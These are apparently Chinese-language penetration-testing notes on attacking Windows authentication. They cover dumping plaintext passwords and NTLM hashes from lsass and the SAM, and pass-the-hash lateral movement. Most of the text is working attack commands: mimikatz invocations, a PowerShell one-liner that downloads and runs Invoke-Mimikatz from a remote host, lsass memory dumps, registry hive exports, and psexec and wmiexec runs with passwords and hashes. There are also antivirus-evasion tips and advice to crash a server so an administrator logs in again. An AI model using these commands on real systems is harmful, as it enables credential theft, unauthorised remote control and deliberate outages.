密码认证机制

windows

winlogon.exe为登录界面

密码 -> 系统加密(不可逆) -> 二进制存储(需要按照固定格式读取) -> sam

账号密码验证 -> lsass.exe -> 验证(保存在内存中,不需要多次手动验证)适用于2008-/win7-

密码格式

2003-/xp- lmhash,密码不能超过14位等bug

2003+/xp+ ntlm hash,密码->hex->unicode->md4->32位密码(8bit)

明文密码:

1、hash爆破比对

2、从lsass进程中读取明文密码

A、

工具:mimikatz.exe mimilib.dll mimidrv.sys

命令:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

B、 mimikatz.ps1脚本

powershell.exe Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz

3种运行方式

远程执行

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.21.112:9000/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

C、

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

procdump是内存分析工具,可以把进程对应内存空间中的数据,转存为文件

然后使用mimikatz读取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

免杀

D、 cs中mimikatz(shellcode机器语言)

使用机器语言命令,在内存空间中运行

E、 msf中kiwi

3、winserver2012+/win8+,禁止将明文密码保存至lsass中

修改注册表,重新开启功能,(需要管理员重新登陆)

蓝屏攻击、修改关键数据库(延时攻击等)等,使得服务器异常,强制管理员登录

重新登录后,使用2中功能重新抓取密码

hash获取

sam/lsass ntlm32

1、sam被占用,reg导出文件(免杀)

reg save hklm\sam sam.save(部分读取)

reg save hklm\system system.save

reg save hklm\security security.save

本机运行

mimikatz.exe "lsadump::sam /sam:sam.save /system:system.save" "exit"

2、Get-PassHashes.ps1

3、cs中hashdump、msf中kiwi抓取hash

上线即免杀

4、mimikatz.exe

抓取明文密码的2、3步骤

hash传递

原理

1、net use ipc管道(只能使用明文密码,但杀软不查杀)*

前提:用户在管理员组

net use \\ip\ipc$ password /user:username

上传文件 -> 查看时间 -> 定时任务

copy file \\ip\c$\file

net time \\ip

at \\ip C:\x

高版本计划任务

schtasks /s ip /create /sc once /f /tn note /TR file /st time

schtasks /s ip /query /tn note

schtasks /s ip /delete /tn note /f

2、mimikatz使用密码 创建token

cs/msf make token

命令执行依托于net use

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.21.188 /ntlm:feee83b95ab29980aafdbfe87c95a82c" "exit"

3、hash(hash传递)

net use 在认证过程中,传输的是hash,没有直接传输明文密码

4、pstools + impacket套件*

管理工具,只要完成认证,就可以进行远控:命令执行、服务管理等

pstools:*

首次运行,需要使用/accepteula参数不弹窗免责协议

a、已经通过net use/make token创建好会话

psexec /accepteula \\ip whoami

pskill /accepteula \\ip /pid 12345

b、没有创建

psexec -accepteula \\ip -u name -p password -s whoami

impacket python工具

a、已经通过net use/make token创建好会话

python .\psexec.py 192.168.21.127 whoami 无法使用

b、没有创建

python psexec.py administrator:[email protected] cmd

注:对域账户操作时为/左斜杠

python wmiexec.py administrator:[email protected] cmd

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 [email protected] cmd

5、cs

psexec、psexec_psh、psexec64等

6、msf

psexec模块